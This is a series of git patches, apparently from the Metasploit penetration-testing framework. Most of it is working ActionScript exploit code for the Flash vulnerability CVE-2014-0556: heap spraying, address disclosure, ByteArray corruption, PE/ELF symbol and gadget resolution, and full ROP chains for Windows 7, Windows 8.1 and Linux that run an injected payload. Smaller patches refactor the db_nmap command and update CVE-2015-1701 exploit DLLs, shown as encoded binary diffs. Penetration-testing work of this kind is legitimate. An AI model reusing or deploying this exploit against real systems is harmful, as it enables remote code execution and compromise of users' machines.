+ ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/Logger.as b/external/source/exploits/CVE-2014-0556/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/PE.as b/external/source/exploits/CVE-2014-0556/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} From a53a68cfc204d8892bbe702eb9b26e3cba4dfce6 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 4 Jun 2015 18:40:19 -0500 Subject: [PATCH 0318/1013] Refactor db_nmap and fix the save option --- lib/msf/ui/console/command_dispatcher/db.rb | 90 ++++++++------------- 1 file changed, 35 insertions(+), 55 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index e72ae5624e..02f6356cf0 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -14,10 +14,6 @@ class Db require 'tempfile' include Msf::Ui::Console::CommandDispatcher - - # TODO: Not thrilled about including this entire module for just store_local. - include Msf::Auxiliary::Report - include Metasploit::Credential::Creation # @@ -1752,15 +1748,14 @@ class Db return unless active? ::ActiveRecord::Base.connection_pool.with_connection { if (args.length == 0) - print_status("Usage: db_nmap [nmap options]") + print_status("Usage: db_nmap [--save | [--help | -h]] [nmap options]") return end - save = false arguments = [] while (arg = args.shift) case arg - when 'save' - save = active? + when '--save' + save = true when '--help', '-h' cmd_db_nmap_help return @@ -1778,55 +1773,47 @@ class Db return end - fd = Tempfile.new('dbnmap') - fd.binmode - - fo = Tempfile.new('dbnmap') - fo.binmode - - # When executing native Nmap in Cygwin, expand the Cygwin path to a Win32 path - if(Rex::Compat.is_cygwin and nmap =~ /cygdrive/) - # Custom function needed because cygpath breaks on 8.3 dirs - tout = Rex::Compat.cygwin_to_win32(fd.path) - fout = Rex::Compat.cygwin_to_win32(fo.path) - arguments.push('-oX', tout) - arguments.push('-oN', fout) - else - arguments.push('-oX', fd.path) - arguments.push('-oN', fo.path) - end + fd = Rex::Quickfile.new(['msf-db-nmap-', '.xml'], Msf::Config.local_directory) begin - nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments) - temp_nmap_threads = [] - temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1| - np_1.each_line do |nmap_out| - next if nmap_out.strip.empty? - print_status("Nmap: #{nmap_out.strip}") - end + # When executing native Nmap in Cygwin, expand the Cygwin path to a Win32 path + if(Rex::Compat.is_cygwin and nmap =~ /cygdrive/) + # Custom function needed because cygpath breaks on 8.3 dirs + tout = Rex::Compat.cygwin_to_win32(fd.path) + arguments.push('-oX', tout) + else + arguments.push('-oX', fd.path) end - temp_nmap_threads << framework.threads.spawn("db_nmap-Stderr", false, nmap_pipe[2]) do |np_2| - np_2.each_line do |nmap_err| - next if nmap_err.strip.empty? - print_status("Nmap: '#{nmap_err.strip}'") + begin + nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments) + temp_nmap_threads = [] + temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1| + np_1.each_line do |nmap_out| + next if nmap_out.strip.empty? + print_status("Nmap: #{nmap_out.strip}") + end end + + temp_nmap_threads << framework.threads.spawn("db_nmap-Stderr", false, nmap_pipe[2]) do |np_2| + np_2.each_line do |nmap_err| + next if nmap_err.strip.empty? + print_status("Nmap: '#{nmap_err.strip}'") + end + end + + temp_nmap_threads.map {|t| t.join rescue nil} + nmap_pipe.each {|p| p.close rescue nil} + rescue ::IOError end - temp_nmap_threads.map {|t| t.join rescue nil} - nmap_pipe.each {|p| p.close rescue nil} - rescue ::IOError - end + framework.db.import_nmap_xml_file(:filename => fd.path) - fo.close(true) - framework.db.import_nmap_xml_file(:filename => fd.path) - - if save - fd.rewind - saved_path = report_store_local("nmap.scan.xml", "text/xml", fd.read, "nmap_#{Time.now.utc.to_i}") - print_status("Saved NMAP XML results to #{saved_path}") + print_status("Saved NMAP XML results to #{fd.path}") if save + ensure + fd.close + fd.unlink unless save end - fd.close(true) } end @@ -1869,13 +1856,6 @@ class Db tabs end - # - # Store some locally-generated data as a file, similiar to store_loot. - # - def report_store_local(ltype=nil, ctype=nil, data=nil, filename=nil) - store_local(ltype,ctype,data,filename) - end - # # Database management # From c003602993f036f452ebc278b3b9292eb257fc92 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 4 Jun 2015 18:54:15 -0500 Subject: [PATCH 0319/1013] Remove report_store_local from the spec --- spec/lib/msf/ui/console/command_dispatcher/db_spec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 973ec19c8b..530ed1d55d 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -61,7 +61,6 @@ describe Msf::Ui::Console::CommandDispatcher::Db do it { is_expected.to respond_to :each_host_range_chunk } it { is_expected.to respond_to :make_sortable } it { is_expected.to respond_to :name } - it { is_expected.to respond_to :report_store_local } it { is_expected.to respond_to :set_rhosts_from_addrs } describe "#cmd_creds" do From b291d41b76640e0f4243c80450344d73d6a4623c Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 5 Jun 2015 13:19:41 +1000 Subject: [PATCH 0320/1013] Quick hack to remove hard-coded offsets --- .../CVE-2015-1701/cve-2015-1701.x64.dll | Bin 84992 -> 84992 bytes .../CVE-2015-1701/cve-2015-1701.x86.dll | Bin 72192 -> 72192 bytes .../cve-2015-1701/cve-2015-1701.c | 59 ++++++++++++++---- 3 files changed, 48 insertions(+), 11 deletions(-) diff --git a/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll b/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll index 01af30b5a008ce3c02cbeef70e2f3bb5317b7b92..e049e41ec77c819496d5a1d2ccaaae216d5f11af 100755 GIT binary patch delta 22052 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

